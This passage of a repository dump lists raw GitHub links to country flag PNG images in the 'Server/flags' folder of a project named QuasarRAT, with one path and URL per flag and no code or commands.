https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/dj.png -------------------------------------------------------------------------------- /Server/flags/dk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/dk.png -------------------------------------------------------------------------------- /Server/flags/dm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/dm.png -------------------------------------------------------------------------------- /Server/flags/do.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/do.png -------------------------------------------------------------------------------- /Server/flags/dz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/dz.png -------------------------------------------------------------------------------- /Server/flags/ec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ec.png -------------------------------------------------------------------------------- /Server/flags/ee.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ee.png -------------------------------------------------------------------------------- /Server/flags/eg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/eg.png -------------------------------------------------------------------------------- /Server/flags/eh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/eh.png -------------------------------------------------------------------------------- /Server/flags/england.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/england.png -------------------------------------------------------------------------------- /Server/flags/er.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/er.png -------------------------------------------------------------------------------- /Server/flags/es.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/es.png -------------------------------------------------------------------------------- /Server/flags/et.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/et.png -------------------------------------------------------------------------------- /Server/flags/europeanunion.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/europeanunion.png -------------------------------------------------------------------------------- /Server/flags/fam.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/fam.png -------------------------------------------------------------------------------- /Server/flags/fi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/fi.png -------------------------------------------------------------------------------- /Server/flags/fj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/fj.png -------------------------------------------------------------------------------- /Server/flags/fk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/fk.png -------------------------------------------------------------------------------- /Server/flags/fm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/fm.png -------------------------------------------------------------------------------- /Server/flags/fo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/fo.png -------------------------------------------------------------------------------- /Server/flags/fr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/fr.png -------------------------------------------------------------------------------- /Server/flags/ga.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ga.png -------------------------------------------------------------------------------- /Server/flags/gb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gb.png -------------------------------------------------------------------------------- /Server/flags/gd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gd.png -------------------------------------------------------------------------------- /Server/flags/ge.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ge.png -------------------------------------------------------------------------------- /Server/flags/gf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gf.png -------------------------------------------------------------------------------- /Server/flags/gh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gh.png -------------------------------------------------------------------------------- /Server/flags/gi.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gi.png -------------------------------------------------------------------------------- /Server/flags/gl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gl.png -------------------------------------------------------------------------------- /Server/flags/gm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gm.png -------------------------------------------------------------------------------- /Server/flags/gn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gn.png -------------------------------------------------------------------------------- /Server/flags/gp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gp.png -------------------------------------------------------------------------------- /Server/flags/gq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gq.png -------------------------------------------------------------------------------- /Server/flags/gr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gr.png -------------------------------------------------------------------------------- /Server/flags/gs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gs.png -------------------------------------------------------------------------------- /Server/flags/gt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gt.png -------------------------------------------------------------------------------- /Server/flags/gu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gu.png -------------------------------------------------------------------------------- /Server/flags/gw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gw.png -------------------------------------------------------------------------------- /Server/flags/gy.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/gy.png -------------------------------------------------------------------------------- /Server/flags/hk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/hk.png -------------------------------------------------------------------------------- /Server/flags/hm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/hm.png -------------------------------------------------------------------------------- /Server/flags/hn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/hn.png -------------------------------------------------------------------------------- /Server/flags/hr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/hr.png -------------------------------------------------------------------------------- /Server/flags/ht.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ht.png -------------------------------------------------------------------------------- /Server/flags/hu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/hu.png -------------------------------------------------------------------------------- /Server/flags/id.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/id.png -------------------------------------------------------------------------------- /Server/flags/ie.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ie.png -------------------------------------------------------------------------------- /Server/flags/il.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/il.png -------------------------------------------------------------------------------- /Server/flags/in.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/in.png -------------------------------------------------------------------------------- /Server/flags/io.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/io.png -------------------------------------------------------------------------------- /Server/flags/iq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/iq.png -------------------------------------------------------------------------------- /Server/flags/ir.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ir.png -------------------------------------------------------------------------------- /Server/flags/is.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/is.png -------------------------------------------------------------------------------- /Server/flags/it.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/it.png -------------------------------------------------------------------------------- /Server/flags/jm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/jm.png -------------------------------------------------------------------------------- /Server/flags/jo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/jo.png -------------------------------------------------------------------------------- /Server/flags/jp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/jp.png -------------------------------------------------------------------------------- /Server/flags/ke.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ke.png -------------------------------------------------------------------------------- /Server/flags/kg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/kg.png -------------------------------------------------------------------------------- /Server/flags/kh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/kh.png -------------------------------------------------------------------------------- /Server/flags/ki.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ki.png -------------------------------------------------------------------------------- /Server/flags/km.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/km.png -------------------------------------------------------------------------------- /Server/flags/kn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/kn.png -------------------------------------------------------------------------------- /Server/flags/kp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/kp.png -------------------------------------------------------------------------------- /Server/flags/kr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/kr.png -------------------------------------------------------------------------------- /Server/flags/kw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/kw.png -------------------------------------------------------------------------------- /Server/flags/ky.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ky.png -------------------------------------------------------------------------------- /Server/flags/kz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/kz.png -------------------------------------------------------------------------------- /Server/flags/la.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/la.png -------------------------------------------------------------------------------- /Server/flags/lb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/lb.png -------------------------------------------------------------------------------- /Server/flags/lc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/lc.png -------------------------------------------------------------------------------- /Server/flags/li.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/li.png -------------------------------------------------------------------------------- /Server/flags/lk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/lk.png -------------------------------------------------------------------------------- /Server/flags/lr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/lr.png -------------------------------------------------------------------------------- /Server/flags/ls.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ls.png -------------------------------------------------------------------------------- /Server/flags/lt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/lt.png -------------------------------------------------------------------------------- /Server/flags/lu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/lu.png -------------------------------------------------------------------------------- /Server/flags/lv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/lv.png -------------------------------------------------------------------------------- /Server/flags/ly.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ly.png -------------------------------------------------------------------------------- /Server/flags/ma.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ma.png -------------------------------------------------------------------------------- /Server/flags/mc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mc.png -------------------------------------------------------------------------------- /Server/flags/md.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/md.png -------------------------------------------------------------------------------- /Server/flags/me.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/me.png -------------------------------------------------------------------------------- /Server/flags/mg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mg.png -------------------------------------------------------------------------------- /Server/flags/mh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mh.png -------------------------------------------------------------------------------- /Server/flags/mk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mk.png -------------------------------------------------------------------------------- /Server/flags/ml.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ml.png -------------------------------------------------------------------------------- /Server/flags/mm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mm.png -------------------------------------------------------------------------------- /Server/flags/mn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mn.png -------------------------------------------------------------------------------- /Server/flags/mo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mo.png -------------------------------------------------------------------------------- /Server/flags/mp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mp.png -------------------------------------------------------------------------------- /Server/flags/mq.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mq.png -------------------------------------------------------------------------------- /Server/flags/mr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mr.png -------------------------------------------------------------------------------- /Server/flags/ms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ms.png -------------------------------------------------------------------------------- /Server/flags/mt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mt.png -------------------------------------------------------------------------------- /Server/flags/mu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mu.png -------------------------------------------------------------------------------- /Server/flags/mv.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mv.png -------------------------------------------------------------------------------- /Server/flags/mw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mw.png -------------------------------------------------------------------------------- /Server/flags/mx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mx.png -------------------------------------------------------------------------------- /Server/flags/my.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/my.png -------------------------------------------------------------------------------- /Server/flags/mz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/mz.png -------------------------------------------------------------------------------- /Server/flags/na.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/na.png -------------------------------------------------------------------------------- /Server/flags/nc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/nc.png -------------------------------------------------------------------------------- /Server/flags/ne.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ne.png -------------------------------------------------------------------------------- /Server/flags/nf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/nf.png -------------------------------------------------------------------------------- /Server/flags/ng.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ng.png -------------------------------------------------------------------------------- /Server/flags/ni.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ni.png -------------------------------------------------------------------------------- /Server/flags/nl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/nl.png -------------------------------------------------------------------------------- /Server/flags/no.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/no.png -------------------------------------------------------------------------------- /Server/flags/np.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/np.png -------------------------------------------------------------------------------- /Server/flags/nr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/nr.png -------------------------------------------------------------------------------- /Server/flags/nu.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/nu.png -------------------------------------------------------------------------------- /Server/flags/nz.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/nz.png -------------------------------------------------------------------------------- /Server/flags/om.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/om.png -------------------------------------------------------------------------------- /Server/flags/pa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pa.png -------------------------------------------------------------------------------- /Server/flags/pe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pe.png -------------------------------------------------------------------------------- /Server/flags/pf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pf.png -------------------------------------------------------------------------------- /Server/flags/pg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pg.png -------------------------------------------------------------------------------- /Server/flags/ph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ph.png -------------------------------------------------------------------------------- /Server/flags/pk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pk.png -------------------------------------------------------------------------------- /Server/flags/pl.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pl.png -------------------------------------------------------------------------------- /Server/flags/pm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pm.png -------------------------------------------------------------------------------- /Server/flags/pn.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pn.png -------------------------------------------------------------------------------- /Server/flags/pr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pr.png -------------------------------------------------------------------------------- /Server/flags/ps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ps.png -------------------------------------------------------------------------------- /Server/flags/pt.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pt.png -------------------------------------------------------------------------------- /Server/flags/pw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/pw.png -------------------------------------------------------------------------------- /Server/flags/py.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/py.png -------------------------------------------------------------------------------- /Server/flags/qa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/qa.png -------------------------------------------------------------------------------- /Server/flags/re.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/re.png -------------------------------------------------------------------------------- /Server/flags/ro.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ro.png -------------------------------------------------------------------------------- /Server/flags/rs.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/rs.png -------------------------------------------------------------------------------- /Server/flags/ru.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/ru.png -------------------------------------------------------------------------------- /Server/flags/rw.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/rw.png -------------------------------------------------------------------------------- /Server/flags/sa.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sa.png -------------------------------------------------------------------------------- /Server/flags/sb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sb.png -------------------------------------------------------------------------------- /Server/flags/sc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sc.png -------------------------------------------------------------------------------- /Server/flags/scotland.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/scotland.png -------------------------------------------------------------------------------- /Server/flags/sd.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sd.png -------------------------------------------------------------------------------- /Server/flags/se.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/se.png -------------------------------------------------------------------------------- /Server/flags/sg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sg.png -------------------------------------------------------------------------------- /Server/flags/sh.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sh.png -------------------------------------------------------------------------------- /Server/flags/si.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/si.png -------------------------------------------------------------------------------- /Server/flags/sj.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sj.png -------------------------------------------------------------------------------- /Server/flags/sk.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/malwares/QuasarRAT/f5f244c727c6512b12c13f6b72446b53b2b594da/Server/flags/sk.png 